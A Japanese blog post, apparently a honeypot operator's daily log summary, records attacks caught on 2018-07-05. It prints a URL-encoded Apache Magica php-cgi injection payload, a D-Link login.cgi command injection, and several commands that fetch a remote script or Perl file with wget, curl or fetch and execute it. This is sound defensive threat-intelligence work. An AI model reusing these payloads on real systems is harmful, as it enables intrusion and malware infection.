WOWHoneypotの簡易分析(32日目)
WOWhoneypotの2018-07-05(運用32日目)の簡易分析です。
本日の総アクセス件数は49件です。以下が全アクセスログです。
37 2018-07-05 GET /
6 2018-07-05 HEAD /
2 2018-07-05 CONNECT 133.130.126[.]119:43
1 2018-07-05 POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
1 2018-07-05 GET /stuff.php
1 2018-07-05 GET /manager/html
1 2018-07-05 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://185.62.190[.]191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$
phpMyAdmin関連と/を除外したアクセス数です。
2 2018-07-05 CONNECT 133.130.126[.]119:43
1 2018-07-05 POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
1 2018-07-05 GET /stuff.php
1 2018-07-05 GET /manager/html
1 2018-07-05 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://185.62.190[.]191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$
この中で記憶にないのは以下です。(と思ったら昨日も来ていて見逃していたようでした）
GET /stuff.php HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
User-AgentはGo言語のリクエストで使われるもののようです。が、パスに対する有益な情報は得られませんでした…。時間があるときにまた見たいと思います。
その他のログは以下となります。
・CONNECTメソッドを用いた不正中継の調査行為
・Apache Magica攻撃
・Tomcatの管理ページの調査行為
・D-LINKを狙うMirai亜種Shinoaの攻撃
本日のハンティングログは以下です。Mirai亜種とMagicaのものです。
1 2018-07-05 wget hxxp://185.62.190[.]191/r
1 2018-07-05 wget -c -q hxxp://139.199.211[.]175/data/data/msr;perl msr;rm -rf msr ; curl -O hxxp://139.199.211[.]175/data/data/msr;perl msr;rm -rf msr; fetch hxxp://139.199.211[.]175/data/data/msr
1 2018-07-05 fetch hxxp://139.199.211[.]175/data/data/msr
1 2018-07-05 curl -O hxxp://139.199.211[.]175/data/data/msr;perl msr;rm -rf msr; fetch hxxp://139.199.211[.]175/data/data/msr
以上です。
